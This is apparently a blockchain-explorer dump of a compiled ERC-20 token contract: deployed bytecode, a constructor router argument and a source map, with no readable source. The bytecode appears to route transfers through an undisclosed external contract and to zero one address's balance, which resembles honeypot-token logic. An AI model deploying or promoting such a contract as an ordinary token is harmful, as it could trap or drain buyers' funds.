915050565b60005b83811015611d84578082015181840152602081019050611d69565b83811115611d93576000848401525b50505050565b6000601f19601f8301169050919050565b6000611db582611d4a565b611dbf8185611d55565b9350611dcf818560208601611d66565b611dd881611d99565b840191505092915050565b60006020820190508181036000830152611dfd8184611daa565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e3582611e0a565b9050919050565b611e4581611e2a565b8114611e5057600080fd5b50565b600081359050611e6281611e3c565b92915050565b6000819050919050565b611e7b81611e68565b8114611e8657600080fd5b50565b600081359050611e9881611e72565b92915050565b60008060408385031215611eb557611eb4611e05565b5b6000611ec385828601611e53565b9250506020611ed485828601611e89565b9150509250929050565b60008115159050919050565b611ef381611ede565b82525050565b6000602082019050611f0e6000830184611eea565b92915050565b611f1d81611e68565b82525050565b6000602082019050611f386000830184611f14565b92915050565b611f4781611ede565b8114611f5257600080fd5b50565b600081359050611f6481611f3e565b92915050565b600060208284031215611f8057611f7f611e05565b5b6000611f8e84828501611f55565b91505092915050565b600080600060608486031215611fb057611faf611e05565b5b6000611fbe86828701611e53565b9350506020611fcf86828701611e53565b9250506040611fe086828701611e89565b9150509250925092565b60006020828403121561200057611fff611e05565b5b600061200e84828501611e53565b91505092915050565b61202081611e2a565b82525050565b600060208201905061203b6000830184612017565b92915050565b6000806040838503121561205857612057611e05565b5b600061206685828601611e53565b925050602061207785828601611e53565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120c857607f821691505b6020821081036120db576120da612081565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612117602083611d55565b9150612122826120e1565b602082019050919050565b600060208201905081810360008301526121468161210a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061218782611e68565b915061219283611e68565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156121c7576121c661214d565b5b828201905092915050565b60006121dd82611e68565b91506121e883611e68565b9250828210156121fb576121fa61214d565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612262602583611d55565b915061226d82612206565b604082019050919050565b6000602082019050818103600083015261229181612255565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006122f4602383611d55565b91506122ff82612298565b604082019050919050565b60006020820190508181036000830152612323816122e7565b9050919050565b600060808201905061233f6000830187612017565b61234c6020830186612017565b6123596040830185612017565b6123666060830184612017565b95945050505050565b60008151905061237e81611f3e565b92915050565b60006020828403121561239a57612399611e05565b5b60006123a88482850161236f565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061241e81611e3c565b92915050565b60006020828403121561243a57612439611e05565b5b60006124488482850161240f565b91505092915050565b6000819050919050565b6000819050919050565b600061248061247b61247684612451565b61245b565b611e68565b9050919050565b61249081612465565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6124cb81611e2a565b82525050565b60006124dd83836124c2565b60208301905092915050565b6000602082019050919050565b600061250182612496565b61250b81856124a1565b9350612516836124b2565b8060005b8381101561254757815161252e88826124d1565b9750612539836124e9565b92505060018101905061251a565b5085935050505092915050565b600060a0820190506125696000830188611f14565b6125766020830187612487565b818103604083015261258881866124f6565b90506125976060830185612017565b6125a46080830184611f14565b9695505050505050565b60006040820190506125c36000830185612017565b6125d06020830184612017565b9392505050565b60006125e282611e68565b91506125ed83611e68565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126265761262561214d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061266b82611e68565b915061267683611e68565b92508261268657612685612631565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006126ed602183611d55565b91506126f882612691565b604082019050919050565b6000602082019050818103600083015261271c816126e0565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612759601a83611d55565b915061276482612723565b602082019050919050565b600060208201905081810360008301526127888161274c565b905091905056fea26469706673582212209d8ef94db02f195fd8f9c6cde209fff699edb8bbf742336ada03fe4f4c06ff4364736f6c634300080f00330000000000000000000000007fc24e96ae96e30ec3b2ad87fb59a488d710353f

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063a9059cbb1161007c578063a9059cbb14610394578063aacebbe3146103c4578063c5b37c22146103e0578063c816841b146103fe578063dd62ed3e1461041c578063e884f2601461044c5761014d565b806370a08231146102d0578063715018a61461030057806375f0a8741461030a5780638da5cb5b1461032857806395d89b4114610346578063a457c2d7146103645761014d565b8063313ce56711610115578063313ce5671461020a57806332424aa31461022857806339509351146102465780633eaaf86b1461027657806348d3ab1f146102945780636675187e146102b25761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a05780631ed950c9146101be57806323b872dd146101da575b600080fd5b61015a610456565b6040516101679190611de3565b60405180910390f35b61018a60048036038101906101859190611e9e565b6104e8565b6040516101979190611ef9565b60405180910390f35b6101a8610506565b6040516101b59190611f23565b60405180910390f35b6101d860048036038101906101d39190611f6a565b610510565b005b6101f460048036038101906101ef9190611f97565b6105a9565b6040516102019190611ef9565b60405180910390f35b610212610651565b60405161021f9190611f23565b60405180910390f35b61023061065b565b60405161023d9190611f23565b60405180910390f35b610260600480360381019061025b9190611e9e565b610661565b60405161026d9190611ef9565b60405180910390f35b61027e61070d565b60405161028b9190611f23565b60405180910390f35b61029c610713565b6040516102a99190611f23565b60405180910390f35b6102ba61071c565b6040516102c79190611ef9565b60405180910390f35b6102ea60048036038101906102e59190611fea565b61072f565b6040516102f79190611f23565b60405180910390f35b610308610778565b005b6103126108b2565b60405161031f9190612026565b60405180910390f35b6103306108d8565b60405161033d9190612026565b60405180910390f35b61034e610901565b60405161035b9190611de3565b60405180910390f35b61037e60048036038101906103799190611e9e565b610993565b60405161038b9190611ef9565b60405180910390f35b6103ae60048036038101906103a99190611e9e565b610acf565b6040516103bb9190611ef9565b60405180910390f35b6103de60048036038101906103d99190611fea565b610aed565b005b6103e8610bad565b6040516103f59190611f23565b60405180910390f35b610406610bb3565b6040516104139190612026565b60405180910390f35b61043660048036038101906104319190612041565b610bd9565b6040516104439190611f23565b60405180910390f35b610454610c60565b005b606060088054610465906120b0565b80601f0160208091040260200160405190810160405280929190818152602001828054610491906120b0565b80156104de5780601f106104b3576101008083540402835291602001916104de565b820191906000526020600020905b8154815290600101906020018083116104c157829003601f168201915b5050505050905090565b60006104fc6104f5610cf9565b8484610d01565b6001905092915050565b6000600554905090565b610518610cf9565b73ffffffffffffffffffffffffffffffffffffffff166105366108d8565b73ffffffffffffffffffffffffffffffffffffffff161461058c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105839061212d565b60405180910390fd5b80600b60146101000a81548160ff02191690831515021790555050565b60006105b6848484610eca565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610600610cf9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561064657600080fd5b600190509392505050565b6000600454905090565b60045481565b600061070361066e610cf9565b84846002600061067c610cf9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106fe919061217c565b610d01565b6001905092915050565b60055481565b60006002905090565b600b60149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610780610cf9565b73ffffffffffffffffffffffffffffffffffffffff1661079e6108d8565b73ffffffffffffffffffffffffffffffffffffffff16146107f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107eb9061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610910906120b0565b80601f016020809104026020016040519081016040528092919081815260200182805461093c906120b0565b80156109895780601f1061095e57610100808354040283529160200191610989565b820191906000526020600020905b81548152906001019060200180831161096c57829003601f168201915b5050505050905090565b600081600260006109a2610cf9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a2557600080fd5b610ac5610a30610cf9565b848460026000610a3e610cf9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ac091906121d2565b610d01565b6001905092915050565b6000610ae3610adc610cf9565b8484610eca565b6001905092915050565b610af5610cf9565b73ffffffffffffffffffffffffffffffffffffffff16610b136108d8565b73ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b609061212d565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c68610cf9565b73ffffffffffffffffffffffffffffffffffffffff16610c866108d8565b73ffffffffffffffffffffffffffffffffffffffff1614610cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd39061212d565b60405180910390fd5b6000600a60156101000a81548160ff021916908315150217905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6790612278565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd69061230a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ebd9190611f23565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f0357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f3c57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eba4ca838484600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336040518563ffffffff1660e01b8152600401610fbf949392919061232a565b602060405180830381865afa158015610fdc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110009190612384565b156110145761100f8183611393565b61138e565b600a60149054906101000a900460ff166110755780600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561107457600080fd5b5b61107e8361165d565b60008373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156110e457506110e3848461183b565b5b156111dc578273ffffffffffffffffffffffffffffffffffffffff166111086119a0565b73ffffffffffffffffffffffffffffffffffffffff16146111b157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9667071846040518263ffffffff1660e01b815260040161117e9190612026565b600060405180830381600087803b15801561119857600080fd5b505af11580156111ac573d6000803e3d6000fd5b505050505b6111d960646111cb60065485611b4390919063ffffffff16565b611bbd90919063ffffffff16565b90505b600081836111ea91906121d2565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461123b919061217c565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461128d91906121d2565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461131f919061217c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113839190611f23565b60405180910390a350505b505050565b6113c030600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d01565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115611421576114206123b1565b5b60405190808252806020026020018201604052801561144f5781602001602082028036833780820191505090505b5090506001600a60146101000a81548160ff0219169083151502179055503081600081518110611482576114816123e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611529573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154d9190612424565b81600181518110611561576115606123e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866019426115eb919061217c565b6040518663ffffffff1660e01b815260040161160b959493929190612554565b600060405180830381600087803b15801561162557600080fd5b505af1158015611639573d6000803e3d6000fd5b505050506000600a60146101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff1661167c6119a0565b73ffffffffffffffffffffffffffffffffffffffff1603611838576000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357b2351d6040518163ffffffff1660e01b81526004016020604051808303816000875af1158015611708573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061172c9190612424565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611836576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f191906121d2565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b505b50565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663805eaeaa836040518263ffffffff1660e01b81526004016118989190612026565b602060405180830381865afa1580156118b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d99190612384565b1580156118ed57506118eb8383611c1b565b155b801561194757508173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156119605750600a60149054906101000a900460ff16155b801561199857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a339190612424565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ae09190612424565b6040518363ffffffff1660e01b8152600401611afd9291906125ae565b602060405180830381865afa158015611b1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b3e9190612424565b905090565b6000808303611b555760009050611bb7565b60008284611b6391906125d7565b9050828482611b729190612660565b14611bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba990612703565b60405180910390fd5b809150505b92915050565b6000808211611c01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf89061276f565b60405180910390fd5b60008284611c0f9190612660565b90508091505092915050565b6000611c256119a0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611cac57508273ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80611d425750611cba6119a0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d4157508173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b5b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d84578082015181840152602081019050611d69565b83811115611d93576000848401525b50505050565b6000601f19601f8301169050919050565b6000611db582611d4a565b611dbf8185611d55565b9350611dcf818560208601611d66565b611dd881611d99565b840191505092915050565b60006020820190508181036000830152611dfd8184611daa565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e3582611e0a565b9050919050565b611e4581611e2a565b8114611e5057600080fd5b50565b600081359050611e6281611e3c565b92915050565b6000819050919050565b611e7b81611e68565b8114611e8657600080fd5b50565b600081359050611e9881611e72565b92915050565b60008060408385031215611eb557611eb4611e05565b5b6000611ec385828601611e53565b9250506020611ed485828601611e89565b9150509250929050565b60008115159050919050565b611ef381611ede565b82525050565b6000602082019050611f0e6000830184611eea565b92915050565b611f1d81611e68565b82525050565b6000602082019050611f386000830184611f14565b92915050565b611f4781611ede565b8114611f5257600080fd5b50565b600081359050611f6481611f3e565b92915050565b600060208284031215611f8057611f7f611e05565b5b6000611f8e84828501611f55565b91505092915050565b600080600060608486031215611fb057611faf611e05565b5b6000611fbe86828701611e53565b9350506020611fcf86828701611e53565b9250506040611fe086828701611e89565b9150509250925092565b60006020828403121561200057611fff611e05565b5b600061200e84828501611e53565b91505092915050565b61202081611e2a565b82525050565b600060208201905061203b6000830184612017565b92915050565b6000806040838503121561205857612057611e05565b5b600061206685828601611e53565b925050602061207785828601611e53565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120c857607f821691505b6020821081036120db576120da612081565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612117602083611d55565b9150612122826120e1565b602082019050919050565b600060208201905081810360008301526121468161210a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061218782611e68565b915061219283611e68565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156121c7576121c661214d565b5b828201905092915050565b60006121dd82611e68565b91506121e883611e68565b9250828210156121fb576121fa61214d565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612262602583611d55565b915061226d82612206565b604082019050919050565b6000602082019050818103600083015261229181612255565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006122f4602383611d55565b91506122ff82612298565b604082019050919050565b60006020820190508181036000830152612323816122e7565b9050919050565b600060808201905061233f6000830187612017565b61234c6020830186612017565b6123596040830185612017565b6123666060830184612017565b95945050505050565b60008151905061237e81611f3e565b92915050565b60006020828403121561239a57612399611e05565b5b60006123a88482850161236f565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061241e81611e3c565b92915050565b60006020828403121561243a57612439611e05565b5b60006124488482850161240f565b91505092915050565b6000819050919050565b6000819050919050565b600061248061247b61247684612451565b61245b565b611e68565b9050919050565b61249081612465565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6124cb81611e2a565b82525050565b60006124dd83836124c2565b60208301905092915050565b6000602082019050919050565b600061250182612496565b61250b81856124a1565b9350612516836124b2565b8060005b8381101561254757815161252e88826124d1565b9750612539836124e9565b92505060018101905061251a565b5085935050505092915050565b600060a0820190506125696000830188611f14565b6125766020830187612487565b818103604083015261258881866124f6565b90506125976060830185612017565b6125a46080830184611f14565b9695505050505050565b60006040820190506125c36000830185612017565b6125d06020830184612017565b9392505050565b60006125e282611e68565b91506125ed83611e68565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126265761262561214d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061266b82611e68565b915061267683611e68565b92508261268657612685612631565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006126ed602183611d55565b91506126f882612691565b604082019050919050565b6000602082019050818103600083015261271c816126e0565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612759601a83611d55565b915061276482612723565b602082019050919050565b600060208201905081810360008301526127888161274c565b905091905056fea26469706673582212209d8ef94db02f195fd8f9c6cde209fff699edb8bbf742336ada03fe4f4c06ff4364736f6c634300080f0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007fc24e96ae96e30ec3b2ad87fb59a488d710353f

-----Decoded View---------------
Arg [0] : routerAddress (address): 0x7fC24e96AE96E30EC3B2ad87fB59A488D710353F

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007fc24e96ae96e30ec3b2ad87fb59a488d710353f


Deployed Bytecode Sourcemap

3301:5731:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6155:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6674:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6392:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8938:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8215:251;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6313:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3537:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4047:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3572:57;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6486:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8901:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6563:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3148:148;;;:::i;:::-;;8759:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2929:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6232:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4268:259;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8029:180;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8796:99;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3636:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3504:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3890:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8662:91;;;:::i;:::-;;6155:71;6194:13;6218:5;6211:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6155:71;:::o;6674:169::-;6757:4;6774:39;6783:12;:10;:12::i;:::-;6797:7;6806:6;6774:8;:39::i;:::-;6831:4;6824:11;;6674:169;;;;:::o;6392:88::-;6447:7;6465:12;;6458:19;;6392:88;:::o;8938:91::-;3073:12;:10;:12::i;:::-;3062:23;;:7;:5;:7::i;:::-;:23;;;3054:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9020:1:::1;9007:10;;:14;;;;;;;;;;;;;;;;;;8938:91:::0;:::o;8215:251::-;8319:4;8336:39;8351:4;8357:9;8368:6;8336:14;:39::i;:::-;8429:6;8394:11;:17;8406:4;8394:17;;;;;;;;;;;;;;;:31;8412:12;:10;:12::i;:::-;8394:31;;;;;;;;;;;;;;;;:41;;8386:50;;;;;;8454:4;8447:11;;8215:251;;;;;:::o;6313:73::-;6356:7;6374:9;;6367:16;;6313:73;:::o;3537:28::-;;;;:::o;4047:215::-;4135:4;4152:80;4161:12;:10;:12::i;:::-;4175:7;4221:10;4184:11;:25;4196:12;:10;:12::i;:::-;4184:25;;;;;;;;;;;;;;;:34;4210:7;4184:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;4152:8;:80::i;:::-;4250:4;4243:11;;4047:215;;;;:::o;3572:57::-;;;;:::o;6486:71::-;6535:7;6553:1;6546:8;;6486:71;:::o;8901:30::-;;;;;;;;;;;;;:::o;6563:105::-;6629:7;6647:9;:18;6657:7;6647:18;;;;;;;;;;;;;;;;6640:25;;6563:105;;;:::o;3148:148::-;3073:12;:10;:12::i;:::-;3062:23;;:7;:5;:7::i;:::-;:23;;;3054:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3255:1:::1;3218:40;;3239:6;::::0;::::1;;;;;;;;3218:40;;;;;;;;;;;;3286:1;3269:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3148:148::o:0;8759:30::-;;;;;;;;;;;;;:::o;2929:87::-;2975:7;3002:6;;;;;;;;;;;2995:13;;2929:87;:::o;6232:75::-;6273:13;6297:7;6290:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6232:75;:::o;4268:259::-;4349:4;4409:6;4374:11;:25;4386:12;:10;:12::i;:::-;4374:25;;;;;;;;;;;;;;;:31;4400:4;4374:31;;;;;;;;;;;;;;;;:41;;4366:50;;;;;;4427:70;4436:12;:10;:12::i;:::-;4450:4;4490:6;4456:11;:25;4468:12;:10;:12::i;:::-;4456:25;;;;;;;;;;;;;;;:31;4482:4;4456:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;4427:8;:70::i;:::-;4515:4;4508:11;;4268:259;;;;:::o;8029:180::-;8115:4;8132:47;8147:12;:10;:12::i;:::-;8161:9;8172:6;8132:14;:47::i;:::-;8197:4;8190:11;;8029:180;;;;:::o;8796:99::-;3073:12;:10;:12::i;:::-;3062:23;;:7;:5;:7::i;:::-;:23;;;3054:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8886:1:::1;8868:15;;:19;;;;;;;;;;;;;;;;;;8796:99:::0;:::o;3636:23::-;;;;:::o;3504:26::-;;;;;;;;;;;;;:::o;3890:151::-;3979:7;4006:11;:18;4018:5;4006:18;;;;;;;;;;;;;;;:27;4025:7;4006:27;;;;;;;;;;;;;;;;3999:34;;3890:151;;;;:::o;8662:91::-;3073:12;:10;:12::i;:::-;3062:23;;:7;:5;:7::i;:::-;:23;;;3054:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8740:5:::1;8724:13;;:21;;;;;;;;;;;;;;;;;;8662:91::o:0;103:98::-;156:7;183:10;176:17;;103:98;:::o;6849:346::-;6968:1;6951:19;;:5;:19;;;6943:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7050:1;7031:21;;:7;:21;;;7023:69;;;;;;;;;;;;:::i;:::-;;;;